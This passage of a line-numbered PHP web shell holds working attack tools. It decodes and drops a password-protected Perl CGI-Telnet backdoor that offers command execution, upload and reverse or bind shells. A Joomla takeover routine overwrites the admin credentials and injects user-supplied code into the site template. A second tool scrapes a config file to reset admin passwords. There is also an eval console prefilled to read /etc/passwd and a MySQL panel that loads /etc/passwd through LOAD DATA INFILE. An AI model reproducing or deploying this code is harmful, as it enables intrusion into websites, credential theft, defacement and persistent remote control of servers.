kJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
  5473.  
  5474. $file = fopen("idb.te4m" ,"w+");
  5475. $write = fwrite ($file ,base64_decode($cgi4e));
  5476. fclose($file);
  5477. chmod("idb.te4m",0755);
  5478. echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : virusa</font><center><br><iframe src=/PBM/idb.te4m width=75% height=60% frameborder=0></iframe>
  5479.  
  5480. </div></center>";
  5481. }
  5482. ?>
  5483. <?php
  5484. if (isset($_GET['jak']) && ($_GET['jak'] == 'jombla')) {
  5485. ?>
  5486. <form action="?&amp;jak=jombla" method="post">
  5487. <?
  5488. if ($_POST['form_action'])
  5489. {
  5490.  
  5491. $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
  5492.  
  5493. $dbprefix=($_POST['db_prefix']);
  5494. $username=($_POST['db_username']);
  5495. $password=($_POST['db_password']);
  5496. $dbname=($_POST['db_name']);
  5497. $site_url=($_POST['site_url']);
  5498.  
  5499. $co=randomt();
  5500.  
  5501.  
  5502.  
  5503. $link=mysql_connect("localhost",$username,$password) ;
  5504.  
  5505. mysql_select_db($dbname,$link) ;
  5506.  
  5507. $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '71a4d4cd2f30b185d707718273b17d05:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  5508. echo("<br>[+] Changing admin password to jancok");
  5509.  
  5510. $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
  5511.  
  5512. if ( $req )
  5513. {
  5514. #################################################################
  5515. ###################### V1.6 ######################
  5516. #################################################################
  5517.  
  5518.  
  5519. $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
  5520. $data = mysql_fetch_array($req);
  5521. $template_name=$data["template"];
  5522.  
  5523. $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
  5524. $data = mysql_fetch_array($req);
  5525. $template_id=$data["extension_id"];
  5526.  
  5527. $url2=$site_url."/index.php";
  5528.  
  5529. $ch = curl_init();
  5530. curl_setopt($ch, CURLOPT_URL, $url2);
  5531. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5532. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5533. curl_setopt($ch, CURLOPT_HEADER, 1);
  5534. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5535. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5536. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5537.  
  5538.  
  5539. $buffer = curl_exec($ch);
  5540.  
  5541. $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
  5542. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
  5543.  
  5544. ///////////////////////////
  5545. $url2=$site_url."/index.php";
  5546. $ch = curl_init();
  5547. curl_setopt($ch, CURLOPT_URL, $url2);
  5548. curl_setopt($ch, CURLOPT_POST, 1);
  5549. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
  5550. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5551. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5552. curl_setopt($ch, CURLOPT_HEADER, 0);
  5553. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5554. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5555. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5556. $buffer = curl_exec($ch);
  5557.  
  5558. $pos = strpos($buffer,"com_config");
  5559. if($pos === false) {
  5560. echo("<br>[-] Ora iso login bosq");
  5561. exit;
  5562. }
  5563. else {
  5564. echo("<br>[+] Mantap bosq");
  5565. }
  5566. ///////////////////////////
  5567. $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
  5568. $ch = curl_init();
  5569. curl_setopt($ch, CURLOPT_URL, $url2);
  5570. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5571. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5572. curl_setopt($ch, CURLOPT_HEADER, 0);
  5573. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5574. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5575. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5576. $buffer = curl_exec($ch);
  5577.  
  5578. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
  5579. if($hidden2) {
  5580. echo("<br>[+] index.php file founded in Theme Editor bosq");
  5581. }
  5582. else {
  5583. echo("<br>[-] index.php Not found in Theme Editor bosq");
  5584. exit;
  5585. }
  5586. echo("<br>[*] Updating Index.php bosq.....");
  5587. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  5588.  
  5589. $ch = curl_init();
  5590. curl_setopt($ch, CURLOPT_URL, $url2);
  5591. curl_setopt($ch, CURLOPT_POST, 1);
  5592. curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
  5593.  
  5594. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5595. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5596. curl_setopt($ch, CURLOPT_HEADER, 0);
  5597. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5598. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5599. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5600. $buffer = curl_exec($ch);
  5601.  
  5602. $pos = strpos($buffer,'<dd class="message message">');
  5603. if($pos === false) {
  5604. echo("<br>[-] ora iso ganti index.php bosq, manual wae yo :P");
  5605. exit;
  5606. }
  5607. else {
  5608. echo("<br>[+] Index.php wis tak ganti bosq");
  5609. }
  5610. #################################################################
  5611. ###################### V1.6 END ######################
  5612. #################################################################
  5613.  
  5614.  
  5615. }
  5616. else
  5617. {
  5618.  
  5619. #################################################################
  5620. ###################### V1.5 ######################
  5621. #################################################################
  5622.  
  5623. $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
  5624. $data = mysql_fetch_array($req);
  5625. $template_name=$data["template"];
  5626. $url2=$site_url."/index.php";
  5627. $ch = curl_init();
  5628. curl_setopt($ch, CURLOPT_URL, $url2);
  5629. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5630. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5631. curl_setopt($ch, CURLOPT_HEADER, 1);
  5632. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5633. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5634. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5635. $buffer = curl_exec($ch);
  5636.  
  5637. $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
  5638.  
  5639. $url2=$site_url."/index.php";
  5640. $ch = curl_init();
  5641. curl_setopt($ch, CURLOPT_URL, $url2);
  5642. curl_setopt($ch, CURLOPT_POST, 1);
  5643. curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
  5644. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5645. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5646. curl_setopt($ch, CURLOPT_HEADER, 0);
  5647. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5648. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5649. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5650. $buffer = curl_exec($ch);
  5651.  
  5652. $pos = strpos($buffer,"com_config");
  5653.  
  5654. if($pos === false) {
  5655. echo("<br>[-] Ora iso Login bosq");
  5656. exit;
  5657. }
  5658. else {
  5659. echo("<br>[+] Sip iso login bosq");
  5660. }
  5661. ///////////////////////////
  5662. $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
  5663. $ch = curl_init();
  5664. curl_setopt($ch, CURLOPT_URL, $url2);
  5665. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5666. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5667. curl_setopt($ch, CURLOPT_HEADER, 0);
  5668. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5669. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5670. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5671. $buffer = curl_exec($ch);
  5672.  
  5673. $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
  5674.  
  5675. if($hidden2) {
  5676. echo("<br>[+] index.php Ora eneng neng Editor bosq");
  5677. }
  5678. else {
  5679. echo("<br>[-] index.php Ora temu bosq");
  5680. }
  5681.  
  5682. echo("<br>[*] sik tak ganti Index.php ne bosq.....");
  5683. $url2=$site_url."/index.php?option=com_templates&layout=edit";
  5684. $ch = curl_init();
  5685. curl_setopt($ch, CURLOPT_URL, $url2);
  5686. curl_setopt($ch, CURLOPT_POST, 1);
  5687. curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
  5688. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  5689. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5690. curl_setopt($ch, CURLOPT_HEADER, 0);
  5691. curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  5692. curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
  5693. curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
  5694. $buffer = curl_exec($ch);
  5695.  
  5696. $pos = strpos($buffer,'<dd class="message message fade">');
  5697. if($pos === false) {
  5698. echo("<br>[-] Index.php Ora iso diganti bosq");
  5699. exit;
  5700. }
  5701. else {
  5702. echo("<br>[+] Index.php wis tak ganti bosq");
  5703. }
  5704. #################################################################
  5705. ###################### V1.5 END ######################
  5706. #################################################################
  5707.  
  5708. }
  5709.  
  5710. }
  5711.  
  5712.  
  5713. function randomt() {
  5714.  
  5715. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  5716. srand((double)microtime()*1000000);
  5717. $i = 0;
  5718. $pass = '' ;
  5719.  
  5720. while ($i <= 7) {
  5721. $num = rand() % 33;
  5722. $tmp = substr($chars, $num, 1);
  5723. $pass = $pass . $tmp;
  5724. $i++;
  5725. }
  5726.  
  5727. return $pass;
  5728.  
  5729. }
  5730.  
  5731. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  5732.  
  5733. {
  5734.  
  5735. $ar0=explode($marqueurDebutLien, $text);
  5736. $ar1=explode($marqueurFinLien, $ar0[$i]);
  5737. $ar=trim($ar1[0]);
  5738. return $ar;
  5739. }
  5740. echo "
  5741. \n";
  5742. echo "<title>change this sites</title>
  5743. \n";
  5744. echo "<body bgcolor=\"#000000\">
  5745. \n";
  5746. echo " <style>
  5747. \n";
  5748. echo "
  5749. \n";
  5750. echo "BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; color: white;}
  5751. \n";
  5752. echo "textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
  5753. \n";
  5754. echo "input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
  5755. \n";
  5756. echo "</style>
  5757. \n";
  5758. echo "<center>
  5759. \n";
  5760. echo "<font color=\"#FFFF6FF\" size='+3'>Hallo Bosq</font><br><br>
  5761. \n";
  5762. echo "<FORM action=\"\" method=\"post\">
  5763. \n";
  5764. echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">
  5765. \n";
  5766. echo "<br>
  5767. \n";
  5768. echo "<table border=1>
  5769. \n";
  5770. echo "
  5771. \n";
  5772. echo "<tr><td>db_prefix </td><td><input type=\"text\" size=\"30\" name=\"db_prefix\" value=\"jos_\"></td></tr>
  5773. \n";
  5774. echo "<tr><td>db_username </td><td><input type=\"text\" size=\"30\" name=\"db_username\" value=\"\"></td></tr>
  5775. \n";
  5776. echo "<tr><td>db_password</td><td><input type=\"text\" size=\"30\" name=\"db_password\" value=\"\"></td></tr>
  5777. \n";
  5778. echo "<tr><td>db_name</td><td><input type=\"text\" size=\"30\" name=\"db_name\" value=\"\"></td></tr>
  5779. \n";
  5780. echo "<tr><td>Admin Control panel url</td><td><input type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>
  5781. \n";
  5782. echo "
  5783. \n";
  5784. echo "</table>
  5785. \n";
  5786. echo "<br>
  5787. \n";
  5788. echo "<br>
  5789. \n";
  5790. echo "<TEXTAREA rows=\"18\" cols=\"50\" name=\"code\"></TEXTAREA>
  5791. \n";
  5792. echo " <br>
  5793. \n";
  5794. echo "<INPUT class=submit type=\"submit\" value=\"Submit\" name=\"Submit\">
  5795. \n";
  5796. echo "</FORM>
  5797. \n";
  5798. echo " <center> <font color=\"#FFFF6FF\" size='+1'> Change Index | Admin </font><br><br> <center>\n";
  5799. }
  5800.  
  5801. ?>
  5802. <?php
  5803. if (isset($_GET['jak']) && ($_GET['jak'] == 'jomla')) {
  5804. ?>
  5805. <form action="?&amp;jak=jomla" method="post">
  5806. <?php
  5807. error_reporting(0);
  5808. if($_POST){
  5809.  
  5810. function jipukteks($param, $kata1, $kata2){
  5811. if(strpos($param, $kata1) === FALSE) return FALSE;
  5812. if(strpos($param, $kata2) === FALSE) return FALSE;
  5813. $start = strpos($param, $kata1) + strlen($kata1);
  5814. $end = strpos($param, $kata2, $start);
  5815. $return = substr($param, $start, $end - $start);
  5816. return $return;
  5817. }
  5818.  
  5819. function anucurl($sites){
  5820. $ch1 = curl_init ("$sites");
  5821. curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
  5822. curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
  5823. curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  5824. curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
  5825. curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
  5826. curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
  5827. curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
  5828. curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
  5829. $data = curl_exec ($ch1);
  5830. return $data;
  5831. }
  5832.  
  5833. function lohgin($fak1,$fak2,$fak3,$fak4,$fak5){
  5834. $post2 = array(
  5835. "username" => "$fak1",
  5836. "passwd" => "$fak2",
  5837. "lang" => "en-GB",
  5838. "option" => "com_login",
  5839. "task" => "login",
  5840. "return" => "$fak3",
  5841. "$fak4" => "1",
  5842.  
  5843. );
  5844. $ch = curl_init ("$cek");
  5845. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  5846. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  5847. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  5848. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  5849. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  5850. curl_setopt ($ch, CURLOPT_POST, 1);
  5851. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  5852. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  5853. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  5854. $data6 = curl_exec ($ch);
  5855. return $data6;
  5856. }
  5857.  
  5858. $link = $_POST['link'];
  5859. if($link==""){
  5860. echo "Report: <br>";
  5861. echo "-> Link Config anda belum terisi <-";
  5862. }
  5863. else{
  5864.  
  5865. $file = anucurl($link);
  5866.  
  5867. $host = jipukteks($file,"smtphost = '","'");
  5868. $username = jipukteks($file,"user = '","'");
  5869. $password = jipukteks($file,"password = '","'");
  5870. $db = jipukteks($file,"db = '","'");
  5871. $dbprefix = jipukteks($file,"dbprefix = '","'");
  5872. $user_baru = "admin";
  5873. $password_baru = "jakrapp";
  5874. $prefix = $dbprefix."users";
  5875. $pass = md5("$password_baru");
  5876. $serah = $db.".".$dbprefix;
  5877.  
  5878.  
  5879. echo "<font color='#C6C646'>Database Content :</font><br>";
  5880. echo "Db Host&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: <font color='green'>$host</font><br>";
  5881. echo "Db user&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: <font color='green'>$username</font><br>";
  5882. echo "Db Password &nbsp: <font color='green'>$password</font><br>";
  5883. echo "Db name&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: <font color='green'>$db</font><br>";
  5884. echo "Table_Prefix &nbsp&nbsp: <font color='green'>$dbprefix</font><br>";
  5885.  
  5886. mysql_connect($host,$username,$password) or die("<br><font color='red'>Gagal Terkoneksi Ke Database ...</font>");
  5887. mysql_select_db($db) or die("<font color='red'>Database tidak bisa dibuka ...</font>");
  5888.  
  5889. $show=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  5890. $r=mysql_fetch_array($show);
  5891. $id = $r[id];
  5892.  
  5893. mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
  5894. $utama = "$link";
  5895. $kedua = @file_get_contents($utama);
  5896. if(preg_match("askdasldasdlja12123",$kedua)){
  5897. echo "# <font color='green'>berhasil rubah password</font><br>";
  5898. echo "# $utama<br>";
  5899.  
  5900. }
  5901. else{
  5902. echo "<br># <font color='green'>Pasword berhasil dirubah: </font><br>";
  5903. echo "Username: <font color='#C6C646'>$user_baru</font><br>";
  5904. echo "Password: <font color='#C6C646'>$password_baru</font><br>";
  5905.  
  5906.  
  5907. }
  5908. }
  5909.  
  5910.  
  5911.  
  5912.  
  5913. }else{
  5914. echo '<html>
  5915. <body>
  5916. <center>
  5917. <center><br><span style="font-size:1.6em;"> .: Joomla Password Reset | Tools :. </span><br>Coded by Bl4ckcod37</center><br>
  5918. <table>
  5919. <tr><td><form method="post"></td></tr>
  5920. <tr><td><input class="inputz" size=50 type="text" name="link" placeholder="masukkan link config disini"></td></tr>
  5921.  
  5922. <tr><td>&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp<input
  5923. class="inputz" type="submit" value="Reset"></td></tr>
  5924. </form>
  5925. </table>
  5926.  
  5927. </center>
  5928.  
  5929. </body>
  5930. </html><br><br><br><br>';
  5931. }
  5932. }
  5933. ?>
  5934.  
  5935. </div></div></div></div></div></div>
  5936. <?php
  5937. if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
  5938. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  5939. <table class="cmdbox"> <tr><td> <textarea class="output" name="cmd" id="cmd"> <?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); }
  5940. else echo "echo file_get_contents('/etc/passwd');"; ?> </textarea>
  5941. <tr><td><input style="width:6%;margin:0px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form> </table> </form>
  5942. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){
  5943. if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){
  5944. $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
  5945. if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){ $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
  5946. $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
  5947. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;\">[ databases ]</a>"; if(isset($_GET['db']))
  5948. $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
  5949. if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class=\"gaya\">-></span>&nbsp;&nbsp;<a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
  5950. $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
  5951. $msg .= "</div>"; echo $msg; if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
  5952. $db = $_GET['db']; $query = "DROP TABLE IF EXISTS j4kr4pp_table;\nCREATE TABLE `j4kr4pp_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE j4kr4pp_table;SELECT * FROM j4kr4pp_table;\nDROP TABLE IF EXISTS j4kr4pp_table;";
  5953. $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> ";
  5954. $tables = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>"; $hasil = @mysql_list_tables($db,$con); while(list($table) = @mysql_fetch_row($hasil)){ @array_push($tables,$table); } @sort($tables);
  5955. foreach($tables as $table){ $msg .= "<tr><td><a href=\"?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."\">$table</a></td></tr>"; } $msg .= "</table>"; }
  5956. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){ $db = $_GET['db']; $table = $_GET['table']; $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;"; $msgq = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <input type=\"hidden\" name=\"table\" value=\"".$table."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $columns = array();
